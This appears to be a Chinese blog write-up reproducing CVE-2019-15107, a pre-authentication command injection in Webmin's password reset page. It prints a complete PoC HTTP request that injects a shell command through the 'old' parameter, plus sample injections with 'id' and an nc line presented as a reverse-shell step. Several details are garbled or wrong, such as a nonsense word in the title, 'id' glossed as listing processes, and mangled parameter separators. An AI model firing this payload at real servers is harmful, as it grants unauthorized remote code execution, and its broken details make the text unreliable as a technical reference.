
CVE-2019-15107 Webmin远程命令执行漏洞复现
开启密码重置功能:在 Webmin 的配置界面,进入 启动 Webmin:完成配置后重启 Webmin 服务,确保连接至地址
可用用户:输入的 不可用用户:输入的
发布日期:2021-05-25 11:46:42
浏览次数:27
分类:精选文章
本文共 1362 字,大约阅读时间需要 4 分钟。
Webmin 违lantermen漏洞分析与利用
漏洞概括
Webmin 是一款用于管理类 Unix 系统的配置工具,其界面基于网络页面。在Webmin 的找回密码页面中,存在一个重大无需权限的命令注入漏洞。该漏洞被发现存在于端口 10000 上。此外,在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。
影响版本
目前已知的受影响版本包括 Webmin <= 1.920。
环境搭建
为验证漏洞,我搭建了一个基于 Docker 的 1.910 版本 Webmin 环境。为了触发漏洞,需完成以下步骤:
Authentication
-> Password expiry policy
,选择 Prompt users with expired passwords to enter a new one
。your-ip:10000
。通过以上步骤,可以成功触发相关漏洞。
漏洞利用
Proof of Concept (PoC)
POST /password_change.cgi HTTP/1.1Host: your-ip:10000Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: https://your-ip:10000/session_login.cgiContent-Type: application/x-www-form-urlencodedContent-Length: 60user=root&xamp; pam=&xamp; expired=2&xamp; old=test%7Cid&xamp; new1=test2&xamp; new2=test2
通过上述 PoC 请求,可以直接注入命令或访问 /password_change.cgi
并通过抓包注入指令。
###_command Injection 细节
keyword
可以是任意用户,包括存在的 Webmin 用户或不存在的用户。keyword
不可为 root
,否则注入将失败。示例注入
id # 输出当前进程列表nc -zv your-ip 9999 # 如果需要反弹 shell,请确保 `nc` 存在并安装
上述命令中使用 id
和 nc
进行注入,具体操作需根据环境调整。
补充说明
对于 Webmin 1.890 版本,触发漏洞只需传递 expired
参数即可,无需开启 Prompt users with expired passwords to enter a new one
选项。
参考文章
(文章未提供具体参考资料)
发表评论
最新留言
关注你微信了!
[***.104.42.241]2025年04月28日 19时59分55秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
Docker入门之-镜像(二)
2019-03-12
嵌入式系统试题库(CSU)
2019-03-12
setup facatory9.0打包详细教程(含静默安装和卸载)
2019-03-12
Linux kernel pwn --- CSAW2015 StringIPC
2019-03-12
IDEA 找不到 Persistence窗口解决办法
2019-03-12
Form窗体属性
2019-03-12
vue 错误收集
2019-03-12
00010.02最基础客户信息管理软件(意义类的小项目,练习基础,不涉及数据库)
2019-03-12
00013.05 字符串比较
2019-03-12
Effective Java 读书笔记
2019-03-12
访问servlet时弹出文件下载框解决方法
2019-03-13
IDEA-@Slf4j和log标签&@Data(Lombok)无效
2019-03-13
Thymeleaf 生成下标,索引,使用Stat变量
2019-03-13
初始微服务---Springcloud发展【第一期】
2019-03-13
RAFT 拜占庭将军 共识算法
2019-03-13
UE4 错误列表 error码(只记录我遇到的情况,持续添加,未完成)
2019-03-13
Android 架构组件 – 让天下没有难做的 App
2019-03-13